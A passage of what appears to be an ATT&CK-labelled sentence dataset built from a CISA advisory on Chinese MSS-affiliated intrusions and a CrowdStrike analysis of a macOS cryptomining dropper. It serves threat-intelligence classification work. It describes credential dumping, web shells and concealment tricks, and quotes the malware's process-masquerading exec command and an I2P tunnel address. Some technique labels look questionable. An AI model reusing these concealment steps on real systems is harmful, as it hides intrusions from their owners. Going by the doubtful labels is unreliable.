to conduct their operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "For example, threat actors often leverage internet software repositories such as GitHub and Exploit-DB.[10][11]", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Both repositories are commonly used for legitimate development and penetration testing and developing open-source code, but cyber threat actors can also use them to find code to enable nefarious actions.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "During incident response activities, CISA frequently observed Chinese government-affiliated actors using the open-source tools outlined in table 5. Table 5: Common exploit tools CISA observed used by Chinese MSS-affiliated actors Tool Observations Cobalt Strike CISA has observed the threat actors using Cobalt Strike to target commercial and Federal Government networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Cobalt Strike is a commercial penetration testing tool used to conduct red team operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "It contains a number of tools that complement the cyber threat actor’s exploitation efforts, such as a keystroke logger, file injection capability, and network services scanners.", "labels": ["T1055", "T1056.001"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA observed connections from a Federal Government agency to multiple IP addresses possibly hosting Cobalt Strike team servers.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "China Chopper Web Shell CISA has observed the actors successfully deploying China Chopper against organizations’ networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This open-source tool can be downloaded from internet software repositories such GitHub and Exploit-DB.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "China Chopper is a web shell hosted on a web server.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "It is mainly used for web application attacks, and it is configured in a client/server relationship.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "China Chopper contains security scanners and can be used to upload files and brute-force passwords.", "labels": ["T1110"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Mimikatz CISA has observed the actors using Mimikatz during their operations.", "labels": ["T1003.001"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This open-source tool is used to capture account credentials and perform privilege escalation with pass-the-hash attacks that allow an attacker to pass captured password hashes and authenticate to network devices.[12] The following sections list the ATT&CK Framework TTPs routinely employed by Chinese government-affiliated actors to conduct cyber operations as observed by CISA analysts.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Initial Access", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "In the last 12 months, CISA has observed Chinese MSS-affiliated actors use spearphishing emails with embedded links to actor-owned infrastructure and, in some cases, compromise or poison legitimate sites to enable cyber operations.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed the threat actors using the Initial Access [TA0001] techniques identified in table 6. Table 6: Initial access techniques observed by CISA MITRE ID Name Observation T1204.001 User Execution: Malicious Link CISA has observed indications that users have clicked malicious links embedded in spearphishing emails that the threat actors sent T1566.002 Phishing: Spearphishing Link CISA analyzed network activity of a Federal Government entity and concluded that the threat actors sent a malicious email weaponized with links.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1190 Exploit Public-Facing Application CISA has observed the actors leveraging CVE-2019-19781 to compromise Citrix Application Delivery Controllers.", "labels": ["T1190"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Cyber threat actors can continue to successfully launch these types of low-complexity attacks—as long as misconfigurations in operational environments and immature patch management programs remain in place—by taking advantage of common vulnerabilities and using readily available exploits and information.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Execution CISA analysts continue to observe beaconing activity indicative of compromise or ongoing access to Federal Government networks.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "This beaconing is a result of cyber threat actors successfully completing cyber operations that are often designed around emergent vulnerabilities and reliant on existing exploitation tools, as mentioned in this document.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed Chinese MSS-affiliated actors using the Execution [TA0002] technique identified in table 7. Table 7: Execution technique observed by CISA MITRE ID Name Observation T1072 Software Deployment Tools CISA observed activity from a Federal Government IP address beaconing out to the threat actors’ C2 server, which is usually an indication of compromise.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Credential Access Cyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks.", "labels": ["T1110"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Further, a threat actor does not require a high degree of competence or sophistication to successfully carry out this kind of opportunistic attack.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed Chinese MSS-affiliated actors using the Credential Access", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "[TA0006] techniques highlighted in table 8.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Table 8:", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Credential access techniques observed by CISA MITRE ID Name Observation T1003.001 Operating System (OS)", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Credential Dumping: Local Security Authority Subsystem Service (LSASS) Memory CISA observed the threat actors using Mimikatz in conjunction with coin miner protocols and software.", "labels": ["T1003.001"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "The actors used Mimikatz to dump credentials from the OS using a variety of capabilities resident within the tool.", "labels": ["T1003.001"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1110.004 Brute Force: Credential Stuffing CISA observed what was likely a brute-force attack of a Remote Desktop Protocol on a public-facing server. Discovery As with any cyber operation, cyber threat actors must be able to confirm that their target is online and vulnerable—there are a multitude of open-source scanning and reconnaissance tools available to them to use for this purpose.", "labels": ["T1110", "T1190"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA consistently observes scanning activity across federal agencies that is indicative of discovery techniques.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed Chinese MSS-affiliated actors scanning Federal Government traffic using the discovery technique highlighted in table 9 (Discovery [TA0007]).", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Table 9: Discovery technique observed by CISA MITRE ID Name Observation T1046 Network Service Scanning CISA has observed suspicious network scanning activity for various ports at Federal Government entities.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Collection Within weeks of public disclosure of CVE-2020-0688, CISA analysts identified traffic that was indicative of Chinese MSS-affiliated threat actors attempting to exploit this vulnerability using the Collection [TA0009] technique listed in table 10. Table 10: Collection technique observed by CISA MITRE ID Name Observation T1114 Email Collection CISA observed the actors targeting CVE-2020-0688 to collect emails from the exchange servers found in Federal Government environments.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Command and Control CISA analysts often observe cyber threat actors using external proxy tools or hop points to enable their cyber operations while remaining anonymous.", "labels": ["T1090"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "These proxy tools may be commercially available infrastructure as a service (IaaS) or software as a service (SaaS) in the form of a web browser promising anonymity on the internet.", "labels": ["T1090"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "For example, “The Onion Router” (Tor) is often used by cyber threat actors for anonymity and C2.", "labels": ["T1090"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Actor’s carefully choose proxy tools depending on their intended use.", "labels": ["T1090"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "These techniques are relatively low in complexity and enabled by commercially available tools, yet they are highly effective and often reliant upon existing vulnerabilities and readily available exploits.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA has observed Chinese MSS-affiliated actors using the Command and Control [TA0011] techniques listed in table 11.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Table 11: Command and control techniques observed by CISA MITRE ID Name Observation T1090.002 Proxy: External Proxy CISA observed activity from a network proxy tool to 221 unique Federal Government agency IP addresses.", "labels": ["T1090"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1090.003 Proxy: Multi-hop", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Proxy CISA observed activity from Tor that has resulted in confirmed compromises of internet-facing Federal Government agency systems.", "labels": ["T1090", "T1190"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "T1573.002 Encrypted Channel: Asymmetric Cryptography CISA observed activity from Tor that has resulted in confirmed compromises of internet-facing Federal Government agency systems.", "labels": ["T1190"], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "MitigationsCISA asserts with high confidence that sophisticated cyber threat actors will continue to use open-source resources and tools to target networks with a low security posture.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "When sophisticated cyber threat actors conduct operations against soft targets, it can negatively impact critical infrastructure, federal, and state, local, tribal, territorial government networks, possibly resulting in loss of critical data or personally identifiable information.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CISA and the FBI recommend that organizations place an increased priority on patching the vulnerabilities routinely exploited by MSS-affiliated cyber actors.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "See table 12 for patch information on the CVEs mentioned in this report.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "For more information on vulnerabilities routinely exploited by sophisticated cyber actors, see CISA Alert: Top 10 Routinely Exploited Vulnerabilities.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Table 12: Patch Information for Vulnerabilities Routinely Exploited by MSS-affiliated Cyber Actors Vulnerability Vulnerable Products Patch Information CVE-2020-5902 Big-IP devices (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT) F5 Security Advisory: K52145254: TMUI RCE vulnerability CVE-2020-5902 CVE-2019-19781 Citrix Application Delivery Controller Citrix Gateway Citrix SDWAN WANOP Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0 Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3 Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0 Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5 CVE-2019-11510 Pulse Connect Secure 9.0R1 - 9.0R3.3, 8.3R1 - 8.3R7, 8.2R1 - 8.2R12, 8.1R1 - 8.1R15 Pulse Policy Secure 9.0R1 - 9.0R3.1, 5.4R1 - 5.4R7, 5.3R1 - 5.3R12, 5.2R1 - 5.2R12, 5.1R1 - 5.1R15 Pulse Secure Out-of-Cycle Advisory:", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Multiple vulnerabilities resolved in Pulse Connect Secure /", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Pulse Policy Secure 9.0RX CVE-2020-0688 Microsoft Exchange Servers Microsoft Security Advisory: CVE-2020-0688: Microsoft Exchange Validation Key Remote Code Execution Vulnerability CISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "Implementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors’ operations and protect organizations’ resources and information systems.", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "To request incident response resources or technical assistance related to these threats, contact CISA at central@cisa.dhs.gov. References [1] U.S. Department of Justice Press Release [2] U.S. Department of Justice Press Release [3] Shodan", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "[4] MITRE Common Vulnerabilities and Exposures List [5] National Institute of Standards and Technology National Vulnerability Database", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "[6] CISA Alert AA20-133A: Top 10 Routinely Exploited Vulnerabilities [7] CISA Alert AA20-206A: Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "[8] CISA Alert AA20-031A: Detecting Citrix CVE-2019-19781", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "[9] CISA Alert AA20-107A: Continued Threat Actor Exploitation Post Pulse Secure VPN Patching [10] GitHub", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "[11] Exploit-DB [12] What is Mimikatz:", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "The Beginner's Guide (VARONIS) Revisions September 14, 2020:", "labels": [], "doc_title": "AA20258A Chinese Ministry of State SecurityAffiliated Cyber Threat Actor Activity"} {"sentence": "CrowdStrike analyzed an I2Pminer variant that targets macOS", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The mineware utilizes I2P to hide XMRig network traffic The CrowdStrike Falcon:registered: platform provides continuous protection against mineware threats by offering real-time visibility across workloads CrowdStrike recently analyzed a macOS-targeted mineware campaign that utilized malicious application bundles to deliver open source XMRig cryptomining software and Invisible Internet Protocol (I2P) network tooling.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Research began after identifying suspicious multi-architecture binaries within a public malware repository.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Analysis of common samples shows that the techniques in this campaign date back to the summer of 2021.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The identified applications shared a common theme: identifying as Apple Logic Pro X, Final Cut Pro, Traktor or various Adobe Creative Suite products.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The primary executable is a dropper containing a legitimate version of the application and I2P tooling.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Utilizing I2P, the dropper then downloads a custom XMRig miner and orchestrates the mining operations.", "labels": ["T1105"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Open source reporting1 also observed similar usage of I2P and XMRig, but the previous threats did not involve the same usage of a legitimate application and scripts to deploy its tooling.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The CrowdStrike Falcon platform provides continuous protection against cryptomining threats by delivering real-time visibility across workloads to protect customers.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Technical Analysis This campaign lures the victim into believing that they are installing a legitimate application for successful execution.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The malicious dropper contains a legitimate version of the software and executes it to give the illusion of a properly behaving application.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "It then relies on a number of shell scripts to configure and orchestrate its mining operations.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The following analysis was performed on a binary that drops and executes a copy of Apple Logic Pro X (bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7).", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Installation It is likely that these malicious application bundles are distributed via Apple Disk Images (DMGs).", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The malicious application bundles were observed executing out of the /Applications/ folder.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "DMGs are a common delivery mechanism for both benign and malicious software.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "It is typical for DMGs to instruct users to drag and drop application bundles from the mounted disk image to the application folder.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Dropper Binary At the core of these malicious application bundles is a Mach-O binary acting as a dropper.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Binaries were found to be universal Mach-Os, supporting both x86_64 and ARM architectures.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper binary is located within the installed application bundle at /Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Therefore, it executes when the application bundle is launched.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper is responsible for orchestrating the installation and execution of the legitimate application, I2P tooling and XMRig miner.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Figure 2 outlines the multiple layers of process execution.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Dropper execution diagram (click to enlarge)", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Throughout the dropper’s lifecycle, it heavily relies on randomly generated names for folders and files in the /tmp/ directory.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper binary generates a number of these file paths through its own random character generator and dynamically produces the script content with these generated values.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The scripts also rely heavily on the usage of mktemp to generate variables within the scripts.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Both of these methods produce files with the syntax of ._[a-zA-Z]{8} (e.g., ._JdYdPLMq).", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Files produced within the Mach-O are generated with 10 characters, whereas usage of mktemp within the scripts produces files made of eight characters.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Legitimate Application Dropper Script", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "In order to appear as a working copy of Logic Pro X, the dropper contains a legitimate copy of the lure application.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper starts by generating a script to decode the legitimate Mach-O file.", "labels": ["T1140"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "During this process a large Base64-encoded file is written to disk.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "An example of this script can be found in the Appendix.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Its purpose is to create a mirrored application bundle located in the host’s /tmp/ directory.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The mirrored bundle contains the legitimate application instead of the dropper binary.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The generated script is executed via a /bin/sh subprocess.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script removes any files that conflict with its randomly generated paths.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Then it creates a new folder structured for the bundle located at /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "It creates symbolic links in the /tmp/ bundle to mirror all directories found in /Applications/Logic Pro X.app/Contents and /Applications/Logic Pro X.app/Contents/MacOS to their respective /tmp/ locations.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "All files located in /Applications/Logic Pro X.app/Contents folder are copied to their respective /tmp/ location.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The Logic Pro X dropper binary is deleted with the /tmp/ bundle.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "It will be replaced with the legitimate application.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "In order to unpack the legitimate binary, the previously written Base64 file is decoded and unarchived.", "labels": ["T1027", "T1140"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The contents are saved to /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents/MacOS/Logic Pro X.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script’s final action is to set the executable bit of this binary.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper then forks itself in order to launch the legitimate application.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The forked process makes a call to execl to execute the legitimate Logic Pro X application located in /tmp/.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The original dropper process continues to execute in order to orchestrate the mining operations.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "It relies on two additional scripts to configure the I2P network tooling and download the XMRig mining software.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "I2P Dropper Script I2P is an anonymous network layer.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "All communications over I2P are anonymous and end-to-end encrypted, and users of the network don’t reveal their real IP addresses.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper binary unpacks a customized Mach-O compiled from the open source i2pd (I2P Daemon) project.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Usage of i2pd enables other processes on the computer to tunnel traffic to the I2P network.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "I2P is configured and used by the dropper to download the mining tooling but also to proxy the miner’s network communications.", "labels": ["T1090"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The I2P dropper script is written to disk at /tmp/._[a-zA-Z]{10}.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "An example of the script can be found in the Appendix.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script is executed as a /bin/sh subprocess.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script first deletes itself from the disk.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This is done to evade detection but also to open up the opportunity to reuse the same randomly generated filename for the actual i2pd binary.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The i2pd binary is stored within the script as a large, inline Base64-encoded variable.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This value is decoded and the output is written to an additional file (/tmp/._[a-zA-Z]{8}).", "labels": ["T1140"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This file is read and unarchived to the original file path of the I2P dropper script.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script pads the resulting Mach-O with a random number of \\x00 bytes.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The padded i2pd Mach-O file is executed via a call to exec -a \"/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared\" \"$0\" Note that $0 will resolve the first argument of the current process.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This is the file path of the I2P dropper script, which was replaced with the padded i2pd Mach-O file.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The exec call will execute the binary and modify the process name to the mdworker_shared file path.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "After the process executes, the I2P dropper script removes the i2pd Mach-O file from the disk.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "i2pd The I2P Daemon binary dropped by the Logic Pro X dropper is tooling built using version 2.41.0 of the open source project.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "It is a universal binary supporting both x86_64 and ARM architectures.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Public i2pd binaries rely on config files or command line arguments for necessary configuration of tunnels and upstream connections.", "labels": ["T1059.003"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The binary used in this threat is custom tooling developed on top of the i2pd code base.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "In addition to running the I2P network stack, it also contains static configuration elements necessary for the operation of the XMRig miner.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This allows it to minimize command line arguments and additional files dropped to disk.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The custom binary is built to configure two tunnels from the local host to the I2P network.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "These tunnels are responsible for the localhost listeners on ports 4444 and 4445.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The listener utilizing port 4444 is called “pool” while the listener utilizing port 4445 is labeled “payload.”", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "These align with their usage by the XMRig downloader and miner.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Each tunnel is configured to tunnel traffic to an upstream address within the I2P network.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The following chart summarizes the tunnels and their configurations.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Label Type Local Address Local Port Destination Address pool client 127.0.0.1 4444 hghsfkrat5dd7ikqzk3d3h5jattjxlru6zmxzxd7y3wib6goodmq.b32[.]i2p payload client 127.0.0.1 4445 